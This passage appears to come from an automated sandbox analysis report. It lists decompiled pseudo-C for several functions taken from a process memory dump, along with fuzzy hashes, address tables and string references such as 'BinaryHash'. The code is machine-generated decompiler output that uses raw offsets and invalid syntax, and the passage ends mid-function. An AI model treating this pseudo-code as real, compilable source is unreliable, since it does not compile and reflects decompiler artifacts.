Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: RTL: Re-Waiting
API String ID: 0-316354757
Opcode ID: 5e91d2c8a73b905f3d8f83e980280a8558b6758afca8136d8d0c0c0b48f2f60c
Instruction ID: a49d1a1fcb7ea7968fb2eef4faa16dd8e5ef16d7e09e60c0519bef6b7726354b
Opcode Fuzzy Hash: 5e91d2c8a73b905f3d8f83e980280a8558b6758afca8136d8d0c0c0b48f2f60c
Instruction Fuzzy Hash: 9A616831E00A95DFD721CF68D890B6E77E6EF80B10F14076AE851AB6C0C774AD80DB81

Uniqueness

Uniqueness Score: -1.00%

Function 1E460EA5, Relevance: 1.4, Strings: 1, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E1E460EA5(void* __ecx, void* __edx) {
				signed int _v20;
				char _v24;
				intOrPtr _v28;
				unsigned int _v32;
				signed int _v36;
				intOrPtr _v40;
				char _v44;
				intOrPtr _v64;
				void* __ebx;
				void* __edi;
				signed int _t58;
				unsigned int _t60;
				intOrPtr _t62;
				char* _t67;
				char* _t69;
				void* _t80;
				void* _t83;
				intOrPtr _t93;
				intOrPtr _t115;
				char _t117;
				void* _t120;

				_t83 = __edx;
				_t117 = 0;
				_t120 = __ecx;
				_v44 = 0;
				if(E1E45FF69(__ecx,  &_v44,  &_v32) < 0) {
					L24:
					_t109 = _v44;
					if(_v44 != 0) {
						E1E461074(_t83, _t120, _t109, _t117, _t117);
					}
					L26:
					return _t117;
				}
				_t93 =  *((intOrPtr*)(__ecx + 0x3c));
				_t5 = _t83 + 1; // 0x1
				_v36 = _t5 << 0xc;
				_v40 = _t93;
				_t58 =  *(_t93 + 0xc) & 0x40000000;
				asm("sbb ebx, ebx");
				_t83 = ( ~_t58 & 0x0000003c) + 4;
				if(_t58 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t93);
					_push(0xffffffff);
					_t80 = E1E3D9730();
					_t115 = _v64;
					if(_t80 < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t115) {
						_push(_t93);
						E1E45A80D(_t115, 1, _v20, _t117);
						_t83 = 4;
					}
				}
				if(E1E45A854( &_v44,  &_v36, _t117, 0x40001000, _t83, _t117,  *((intOrPtr*)(_t120 + 0x34)),  *((intOrPtr*)(_t120 + 0x38))) < 0) {
					goto L24;
				}
				_t60 = _v32;
				_t97 = (_t60 != 0x100000) + 1;
				_t83 = (_v44 -  *0x1e488b04 >> 0x14) + (_v44 -  *0x1e488b04 >> 0x14);
				_v28 = (_t60 != 0x100000) + 1;
				_t62 = _t83 + (_t60 >> 0x14) * 2;
				_v40 = _t62;
				if(_t83 >= _t62) {
					L10:
					asm("lock xadd [eax], ecx");
					asm("lock xadd [eax], ecx");
					if(E1E3B7D50() == 0) {
						_t67 = 0x7ffe0380;
					} else {
						_t67 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t67 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E1E45138A(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v36, 0xc);
					}
					if(E1E3B7D50() == 0) {
						_t69 = 0x7ffe0388;
					} else {
						_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t69 != 0) {
						E1E44FEC0(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v32);
					}
					if(( *0x1e488724 & 0x00000008) != 0) {
						E1E4552F8( *((intOrPtr*)(_t120 + 0x3c)),  *((intOrPtr*)(_t120 + 0x28)));
					}
					_t117 = _v44;
					goto L26;
				}
				while(E1E4615B5(0x1e488ae4, _t83, _t97, _t97) >= 0) {
					_t97 = _v28;
					_t83 = _t83 + 2;
					if(_t83 < _v40) {
						continue;
					}
					goto L10;
				}
				goto L24;
			}

0x1e460eb7
0x1e460eb9
0x1e460ec0
0x1e460ec2
0x1e460ecd
0x1e46105b
0x1e46105b
0x1e461061
0x1e461066
0x1e461066
0x1e46106b
0x1e461073
0x1e461073
0x1e460ed3
0x1e460ed6
0x1e460edc
0x1e460ee0
0x1e460ee7
0x1e460ef0
0x1e460ef5
0x1e460efa
0x1e460efc
0x1e460efd
0x1e460f03
0x1e460f04
0x1e460f06
0x1e460f07
0x1e460f09
0x1e460f0e
0x1e460f14
0x1e460f23
0x1e460f2d
0x1e460f34
0x1e460f34
0x1e460f14
0x1e460f52
0x00000000
0x00000000
0x1e460f58
0x1e460f73
0x1e460f74
0x1e460f79
0x1e460f7d
0x1e460f80
0x1e460f86
0x1e460fab
0x1e460fb5
0x1e460fc6
0x1e460fd1
0x1e460fe3
0x1e460fd3
0x1e460fdc
0x1e460fdc
0x1e460feb
0x1e461009
0x1e461009
0x1e461015
0x1e461027
0x1e461017
0x1e461020
0x1e461020
0x1e46102f
0x1e46103c
0x1e46103c
0x1e461048
0x1e461050
0x1e461050
0x1e461055
0x00000000
0x1e461055
0x1e460f88
0x1e460f9e
0x1e460fa2
0x1e460fa9
0x00000000
0x00000000
0x00000000
0x1e460fa9
0x00000000

Strings

`, xrefs: 1E460F16

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 9fc104d19f3b23376229549c7fc971d446af5561f94c74f2d36c59a7370542c1
Instruction ID: 9da253039957673d6ef430152e01c65443a38e8784d491d983e3b45eb7d266a0
Opcode Fuzzy Hash: 9fc104d19f3b23376229549c7fc971d446af5561f94c74f2d36c59a7370542c1
Instruction Fuzzy Hash: 79519C712043819BDB25CF24D990B1BB7E6EFC8704F004A2EF99697790D770E805CB62

Uniqueness

Uniqueness Score: -1.00%

Function 1E3CF0BF, Relevance: 1.4, Strings: 1, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E1E3CF0BF(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E1E3B4120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = E1E3D9830();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v36);
						_push( &_v44);
						_push(_v60);
						_t108 = E1E3D9990();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E1E3D95D0();
							goto L11;
						} else {
							_t18 = _t82 + 0x18; // 0x852c681a
							_t109 = L1E3B4620(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								_t29 =  &(_t103[2]); // 0x2000852c
								E1E3DF3E0(_t21,  *_t29,  *_t103 & 0x0000ffff);
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t34 =  &(_t103[2]); // 0x2000852c
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)( *_t34 + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E1E3D95D0();
										L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x1e3cf0d3
0x1e3cf0d9
0x1e3cf0e0
0x1e3cf0e7
0x1e3cf0f2
0x1e3cf0f4
0x1e3cf0f8
0x1e3cf100
0x1e3cf108
0x1e3cf10d
0x1e3cf115
0x1e3cf116
0x1e3cf11f
0x1e3cf123
0x1e3cf124
0x1e3cf12c
0x1e3cf130
0x1e3cf134
0x1e3cf13d
0x1e3cf144
0x1e3cf14b
0x1e3cf152
0x1e40bab0
0x1e40bab0
0x1e3cf158
0x1e3cf158
0x1e3cf15a
0x1e3cf160
0x1e3cf165
0x1e3cf166
0x1e3cf16f
0x1e3cf173
0x1e40baa7
0x1e40baa7
0x1e40baab
0x00000000
0x1e3cf179
0x1e3cf179
0x1e3cf18d
0x1e3cf191
0x1e40baa2
0x00000000
0x1e3cf197
0x1e3cf19b
0x1e3cf1a2
0x1e3cf1a9
0x1e3cf1af
0x1e3cf1b2
0x1e3cf1b6
0x1e3cf1b9
0x1e3cf1c0
0x1e3cf1c4
0x1e3cf1d8
0x1e3cf1df
0x1e3cf1e3
0x1e3cf1e6
0x1e3cf1eb
0x1e3cf1ee
0x1e3cf1f4
0x1e3cf20f
0x1e40bab7
0x1e40babb
0x1e40bacc
0x1e40bad1
0x1e3cf215
0x1e3cf218
0x1e3cf226
0x1e3cf22b
0x00000000
0x1e3cf22b
0x1e3cf1f6
0x1e3cf1f6
0x1e3cf1f9
0x1e3cf1fb
0x1e3cf1fb
0x1e3cf1f4
0x1e3cf191
0x1e3cf173
0x1e3cf152
0x1e3cf203

Strings

@, xrefs: 1E3CF124

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: 3ad287a52a9ea7cc1f14001ead4ef95a083d53ee0fd07a75afe14c915782e321
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 44516C75504750AFC321CF19C840A6BB7F9FF48710F008A2EF99697690E7B4E954CB91

Uniqueness

Uniqueness Score: -1.00%

Function 1E413540, Relevance: 1.4, Strings: 1, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E1E413540(intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v96;
				char _v352;
				char _v1072;
				intOrPtr _v1140;
				intOrPtr _v1148;
				char _v1152;
				char _v1156;
				char _v1160;
				char _v1164;
				char _v1168;
				char* _v1172;
				short _v1174;
				char _v1176;
				char _v1180;
				char _v1192;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t41;
				short _t42;
				intOrPtr _t80;
				intOrPtr _t81;
				signed int _t82;
				void* _t83;

				_v12 =  *0x1e48d360 ^ _t82;
				_t41 = 0x14;
				_v1176 = _t41;
				_t42 = 0x16;
				_v1174 = _t42;
				_v1164 = 0x100;
				_v1172 = L"BinaryHash";
				_t81 = E1E3D0BE0(0xfffffffc,  &_v352,  &_v1164, 0, 0, 0,  &_v1192);
				if(_t81 < 0) {
					L11:
					_t75 = _t81;
					E1E413706(0, _t81, _t79, _t80);
					L12:
					if(_a4 != 0xc000047f) {
						E1E3DFA60( &_v1152, 0, 0x50);
						_v1152 = 0x60c201e;
						_v1148 = 1;
						_v1140 = E1E413540;
						E1E3DFA60( &_v1072, 0, 0x2cc);
						_push( &_v1072);
						E1E3EDDD0( &_v1072, _t75, _t79, _t80, _t81);
						E1E420C30(0, _t75, _t80,  &_v1152,  &_v1072, 2);
						_push(_v1152);
						_push(0xffffffff);
						E1E3D97C0();
					}
					return E1E3DB640(0xc0000135, 0, _v12 ^ _t82, _t79, _t80, _t81);
				}
				_t79 =  &_v352;
				_t81 = E1E413971(0, _a4,  &_v352,  &_v1156);
				if(_t81 < 0) {
					goto L11;
				}
				_t75 = _v1156;
				_t79 =  &_v1160;
				_t81 = E1E413884(_v1156,  &_v1160,  &_v1168);
				if(_t81 >= 0) {
					_t80 = _v1160;
					E1E3DFA60( &_v96, 0, 0x50);
					_t83 = _t83 + 0xc;
					_push( &_v1180);
					_push(0x50);
					_push( &_v96);
					_push(2);
					_push( &_v1176);
					_push(_v1156);
					_t81 = E1E3D9650();
					if(_t81 >= 0) {
						if(_v92 != 3 || _v88 == 0) {
							_t81 = 0xc000090b;
						}
						if(_t81 >= 0) {
							_t75 = _a4;
							_t79 =  &_v352;
							E1E413787(_a4,  &_v352, _t80);
						}
					}
					L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v1168);
				}
				_push(_v1156);
				E1E3D95D0();
				if(_t81 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x1e413552
0x1e41355a
0x1e41355d
0x1e413566
0x1e413567
0x1e41357e
0x1e41358f
0x1e4135a1
0x1e4135a5
0x1e41366b
0x1e41366b
0x1e41366d
0x1e413672
0x1e413679
0x1e413685
0x1e41368d
0x1e41369d
0x1e4136a7
0x1e4136b8
0x1e4136c6
0x1e4136c7
0x1e4136dc
0x1e4136e1
0x1e4136e7
0x1e4136e9
0x1e4136e9
0x1e413703
0x1e413703
0x1e4135b5
0x1e4135c0
0x1e4135c4
0x00000000
0x00000000
0x1e4135ca
0x1e4135d7
0x1e4135e2
0x1e4135e6
0x1e4135e8
0x1e4135f5
0x1e4135fa
0x1e413603
0x1e413604
0x1e413609
0x1e41360a
0x1e413612
0x1e413613
0x1e41361e
0x1e413622
0x1e413628
0x1e41362f
0x1e41362f
0x1e413636
0x1e413638
0x1e41363b
0x1e413642
0x1e413642
0x1e413636
0x1e413657
0x1e413657
0x1e41365c
0x1e413662
0x1e413669
0x00000000
0x00000000
0x00000000
0x00000000

Strings

BinaryHash, xrefs: 1E41358F

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: 866f208ee0d24936a0fdb63e94bd9a2636f42969a0b2f5e410449dc7829d4b32
Instruction ID: 2bdd993159694f1a84507fb0a897e25f3a01709c8e15a20ee1c402ce872e2bd2
Opcode Fuzzy Hash: 866f208ee0d24936a0fdb63e94bd9a2636f42969a0b2f5e410449dc7829d4b32
Instruction Fuzzy Hash: E94134F6D0066D9ADF21CB50CC80FDEB77DAF44754F4146A6E609AB240DB31AE888F94

Uniqueness

Uniqueness Score: -1.00%

Function 1E4605AC, Relevance: 1.4, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E1E4605AC(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				intOrPtr _v40;
				void* __ebx;
				void* _t35;
				signed int _t42;
				char* _t48;
				signed int _t59;
				signed char _t61;
				signed int* _t79;
				void* _t88;

				_v28 = __edx;
				_t79 = __ecx;
				if(E1E4607DF(__ecx, __edx,  &_a4,  &_a8, 0) == 0) {
					L13:
					_t35 = 0;
					L14:
					return _t35;
				}
				_t61 = __ecx[1];
				_t59 = __ecx[0xf];
				_v32 = (_a4 << 0xc) + (__edx - ( *__ecx & __edx) >> 4 << _t61) + ( *__ecx & __edx);
				_v36 = _a8 << 0xc;
				_t42 =  *(_t59 + 0xc) & 0x40000000;
				asm("sbb esi, esi");
				_t88 = ( ~_t42 & 0x0000003c) + 4;
				if(_t42 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t59);
					_push(0xffffffff);
					if(E1E3D9730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t59) {
						_push(_t61);
						E1E45A80D(_t59, 1, _v20, 0);
						_t88 = 4;
					}
				}
				_t35 = E1E45A854( &_v32,  &_v36, 0, 0x1000, _t88, 0,  *((intOrPtr*)(_t79 + 0x34)),  *((intOrPtr*)(_t79 + 0x38)));
				if(_t35 < 0) {
					goto L14;
				}
				E1E461293(_t79, _v40, E1E4607DF(_t79, _v28,  &_a4,  &_a8, 1));
				if(E1E3B7D50() == 0) {
					_t48 = 0x7ffe0380;
				} else {
					_t48 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				if( *_t48 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
					E1E45138A(_t59,  *((intOrPtr*)(_t79 + 0x3c)), _v32, _v36, 0xa);
				}
				goto L13;
			}

0x1e4605c5
0x1e4605ca
0x1e4605d3
0x1e4606db
0x1e4606db
0x1e4606dd
0x1e4606e3
0x1e4606e3
0x1e4605dd
0x1e4605e7
0x1e4605f6
0x1e460600
0x1e460607
0x1e460610
0x1e460615
0x1e46061a
0x1e46061c
0x1e46061e
0x1e460624
0x1e460625
0x1e460627
0x1e460628
0x1e460631
0x1e460640
0x1e46064d
0x1e460654
0x1e460654
0x1e460631
0x1e46066d
0x1e460674
0x00000000
0x00000000
0x1e460692
0x1e46069e
0x1e4606b0
0x1e4606a0
0x1e4606a9
0x1e4606a9
0x1e4606b8
0x1e4606d6
0x1e4606d6
0x00000000

Strings

`, xrefs: 1E460633

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction ID: 10c1b6664699e8f7b94668cd64cb526de12820679fe8f53e055c9f653d9e41f5
Opcode Fuzzy Hash: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction Fuzzy Hash: 9A31C0326043456BE720CE25CD85F9A77EAAFC8754F04472AFA589B3C0D770E914CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1E413884, Relevance: 1.3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E1E413884(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char* _v20;
				short _v22;
				char _v24;
				intOrPtr _t38;
				short _t40;
				short _t41;
				void* _t44;
				intOrPtr _t47;
				void* _t48;

				_v16 = __edx;
				_t40 = 0x14;
				_v24 = _t40;
				_t41 = 0x16;
				_v22 = _t41;
				_t38 = 0;
				_v12 = __ecx;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(2);
				_t43 =  &_v24;
				_v20 = L"BinaryName";
				_push( &_v24);
				_push(__ecx);
				_t47 = 0;
				_t48 = E1E3D9650();
				if(_t48 >= 0) {
					_t48 = 0xc000090b;
				}
				if(_t48 != 0xc0000023) {
					_t44 = 0;
					L13:
					if(_t48 < 0) {
						L16:
						if(_t47 != 0) {
							L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
						}
						L18:
						return _t48;
					}
					 *_v16 = _t38;
					 *_a4 = _t47;
					goto L18;
				}
				_t47 = L1E3B4620(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				if(_t47 != 0) {
					_push( &_v8);
					_push(_v8);
					_push(_t47);
					_push(2);
					_push( &_v24);
					_push(_v12);
					_t48 = E1E3D9650();
					if(_t48 < 0) {
						_t44 = 0;
						goto L16;
					}
					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
						_t48 = 0xc000090b;
					}
					_t44 = 0;
					if(_t48 < 0) {
						goto L16;
					} else {
						_t17 = _t47 + 0xc; // 0xc
						_t38 = _t17;
						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
							_t48 = 0xc000090b;
						}
						goto L13;
					}
				}
				_t48 = _t48 + 0xfffffff4;
				goto L18;
			}

0x1e413893
0x1e413896
0x1e413899
0x1e41389f
0x1e4138a0
0x1e4138a4
0x1e4138a9
0x1e4138ac
0x1e4138ad
0x1e4138ae
0x1e4138af
0x1e4138b1
0x1e4138b4
0x1e4138bb
0x1e4138bc
0x1e4138bd
0x1e4138c4
0x1e4138c8
0x1e4138ca
0x1e4138ca
0x1e4138d5
0x1e41393e
0x1e413940
0x1e413942
0x1e413952
0x1e413954
0x1e413961
0x1e413961
0x1e413967
0x1e41396e
0x1e41396e
0x1e413947
0x1e41394c
0x00000000
0x1e41394c
0x1e4138ea
0x1e4138ee
0x1e4138f8
0x1e4138f9
0x1e4138ff
0x1e413900
0x1e413902
0x1e413903
0x1e41390b
0x1e41390f
0x1e413950
0x00000000
0x1e413950
0x1e413915
0x1e41391d
0x1e41391d
0x1e413922
0x1e413926
0x00000000
0x1e413928
0x1e41392b
0x1e41392b
0x1e413935
0x1e413937
0x1e413937
0x00000000
0x1e413935
0x1e413926
0x1e4138f0
0x00000000

Strings

BinaryName, xrefs: 1E4138B4

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: e9b888f052296520686fcb80323f4721ce4999360e988202817c71d74be80f7e
Instruction ID: 14c57a03746654717fafa5617ca723008f156c5d39d69271824d27258599d47e
Opcode Fuzzy Hash: e9b888f052296520686fcb80323f4721ce4999360e988202817c71d74be80f7e
Instruction Fuzzy Hash: B131F176D1060AAFDF15CB59C941E6FB775EF80B20F02426AE854AB350D730AE04CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 1E3CD294, Relevance: 1.3, Strings: 1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E1E3CD294(void* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				char _t38;
				signed int _t40;
				signed int _t44;
				signed int _t52;
				void* _t53;
				void* _t55;
				void* _t61;
				intOrPtr _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0x1e48d360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_t59 = __ecx;
				_t55 = 2;
				if(E1E3B4120(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return E1E3DB640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = E1E3D98D0();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E1E3D95D0();
					L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t62);
					goto L4;
				} else {
					L4:
					L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v105 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

0x1e3cd29c
0x1e3cd2a6
0x1e3cd2b1
0x1e3cd2b5
0x1e3cd2b6
0x1e3cd2bc
0x1e3cd2bd
0x1e3cd2be
0x1e3cd2bf
0x1e3cd2c2
0x1e3cd2c4
0x1e3cd2cc
0x1e3cd384
0x1e3cd34b
0x1e3cd34f
0x1e3cd350
0x1e3cd351
0x1e3cd35c
0x1e3cd35c
0x1e3cd2d6
0x1e3cd2da
0x1e3cd2e1
0x1e3cd361
0x1e3cd369
0x1e3cd36d
0x1e3cd2e3
0x1e3cd2e3
0x1e3cd2e3
0x1e3cd2e5
0x1e3cd2ed
0x1e3cd2f5
0x1e3cd2fa
0x1e3cd302
0x1e3cd303
0x1e3cd30b
0x1e3cd30f
0x1e3cd313
0x1e3cd318
0x1e3cd31c
0x1e3cd320
0x1e3cd379
0x1e3cd37d
0x00000000
0x00000000
0x1e40affe
0x1e40b001
0x1e40b011
0x00000000
0x1e3cd322
0x1e3cd322
0x1e3cd330
0x1e3cd337
0x1e3cd35d
0x1e3cd339
0x1e3cd33f
0x1e3cd38c
0x1e3cd38c
0x1e3cd33f
0x1e3cd349
0x00000000
0x1e3cd349

Strings

@, xrefs: 1E3CD303

Memory Dump Source

Source File: 00000016.00000002.585578233.000000001E370000.00000040.00000001.sdmp, Offset: 1E370000, based on PE: true

Associated: 00000016.00000002.586067004.000000001E48B000.00000040.00000001.sdmp Download File
Associated: 00000016.00000002.586075065.000000001E48F000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: ff12f9139c220ae745149c846d7a2467cf7a9bdb1279be9ca3f995250a6dd959
Instruction ID: 90afa84e4641897e0e8c3c86ec90802e53d1c96ec9753a14a738b5d246e717e5
Opcode Fuzzy Hash: ff12f9139c220ae745149c846d7a2467cf7a9bdb1279be9ca3f995250a6dd959
Instruction Fuzzy Hash: D8316DB65083459FC311CF29C984A5BBBE9EF85654F800B2FF99483210D735DD0ACB92

Uniqueness

Uniqueness Score: -1.00%

Function 1E3A1B8F, Relevance: 1.3, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E1E3A1B8F(void* __ecx, intOrPtr __edx, intOrPtr* _a4, signed int* _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _t26;
				intOrPtr _t29;
				void* _t30;
				signed int _t31;

				_t27 = __ecx;
				_t29 = __edx;
				_t31 = 0;
				_v8 = __edx;
				if(__edx == 0) {
					L18:
					_t30 = 0xc000000d;
					goto L12;
				} else {
					_t26 = _a4;
					if(_t26 == 0 || _a8 == 0 || __ecx == 0) {
						goto L18;
					} else {
						E1E3DBB40(__ecx,  &_v16, __ecx);
						_push(_t26);
						_push(0);
						_push(0);
						_push(_t29);
						_push( &_v16);
						_t30 = E1E3DA9B0();
						if(_t30 >= 0) {
							_t19 =  *_t26;
							if( *_t26 != 0) {
								goto L7;
							} else {
								 *_a8 =  *_a8 & 0;
							}
						} else {
							if(_t30 != 0xc0000023) {
								L9:
								_push(_t26);
								_push( *_t26);
								_push(_t31);
								_push(_v8);
								_push( &_v16);
								_t30 = E1E3DA9B0();
								if(_t30 < 0) {
									L12:
									if(_t31 != 0) {
										L1E3B77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t31);
									}
								} else {
									 *_a8 = _t31;
								}
							} else {
								_t19 =  *_t26;
								if( *_t26 == 0) {
									_t31 = 0;
								} else {
									L7:
									_t31 = L1E3B4620(_t27,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t19);
								}
								if(_t31 == 0) {
									_t30 = 0xc0000017;
								} else {
									goto L9;
								}
							}
						}
					}
				}
				return _t30;
			}

0x1e3a1b8f
0x1e3a1b9a
0x1e3a1b9c
0x1e3a1b9e
